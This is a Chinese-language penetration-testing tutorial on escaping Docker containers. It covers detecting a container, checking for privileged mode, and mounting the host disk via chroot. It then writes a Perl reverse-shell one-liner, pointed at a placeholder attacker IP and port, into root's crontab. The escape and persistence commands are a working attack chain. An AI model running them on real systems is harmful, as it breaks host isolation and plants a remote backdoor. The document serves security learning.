01-前言
在渗透测试的过程中,由于一些服务是部署在 Docker
容器中,所以当我们拿到一台 Docker
容器的 shell 后可能需要进行环境的判定,继而进行容器逃逸。在本篇文章中我们将进行总结学习,如何在拿到一台容器后进行流程化的 Docker
逃逸。
02-容器逃逸常见场景
**Docker**
逃逸的常见产生原因及利用方法有如下几个,后续会在学习中逐渐整理:
- 因为特权模式启动容器造成 Docker 逃逸问题
- 因为危险挂载启动容器造成 Docker 逃逸问题
- CVE 公开漏洞中存在的 Docker 容器问题
03-容器发现
在渗透测试过程中,如何发现自己进入了容器,常见步骤如下:
- 查看根目录下是否存在
.docekrenv
,在根目录下执行ls -la
,若存在则证明在 docker 环境。 - 直接在命令行输入
env
,Docker 容器会比真实主机输入的内容少的多。
Docker 容器
真实主机
- 在命令输入
cat /proc/1/cgroup
,若为容器,输出结果会出现docker
字眼。
Docker 容器
真实主机
04-特权模式逃逸
什么是特权模式?Docker 特权模式向主机系统上的所有设备授予 Docker 容器根功能。在特权模式下运行容器赋予它主机的功能。
在容器拥有特权模式的情况下,可以在容器中再次开启容器,或者可以执行一些高权限命令,比如systemctl
等。
进行特权模式容器逃逸具体步骤如下:
一:检查是否是特权模式
- 检查是否是特权模式启动,使用如下命令进行检查
cat /proc/self/status | grep CapEff
- 如果是特权模式的话,会显示
000001ffffffffff
或者0000003fffffffff
- 成功显示
0000001fffffffff
,说明是特权模式启动容器,可以尝试逃逸。
二:挂载文件到宿主机实现逃逸
- 首先输入
fdisk -l
,查看挂载到磁盘的设备,比如实验容器挂载目录为/dev/vda1
- 创建挂载目录,挂载到宿主机目录下,具体代码如下:
mkdir /testdocker1 && mount /dev/vda1 /testdocker1
chroot /testdocker1
- 此时如果使用命令
cat /etc/passwd
,等同于cat /testdocker1/etc/passwd
,可以访问到宿主机相关文件,Docker 逃逸成功。 - 此时可以将反弹 shell 命令写入计划任务,进行反弹,代码如下:
echo $'*/1 * * * * perl -e \'use Socket;
$i="反弹shell服务器IP";
$p="反弹shell服务器端口";
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/sh -i");};\'' >>
/var/spool/cron/root
- 查看计划任务,发现成功写入,监听端服务器成功接收反弹 shell
- 注意如果是 ubuntu 系统,计划任务文件为
/var/spool/cron/crontabs/root
,如果是 centos 系统,计划任务文件为/var/spool/cron/root
成功写入计划任务
监听服务器成功监听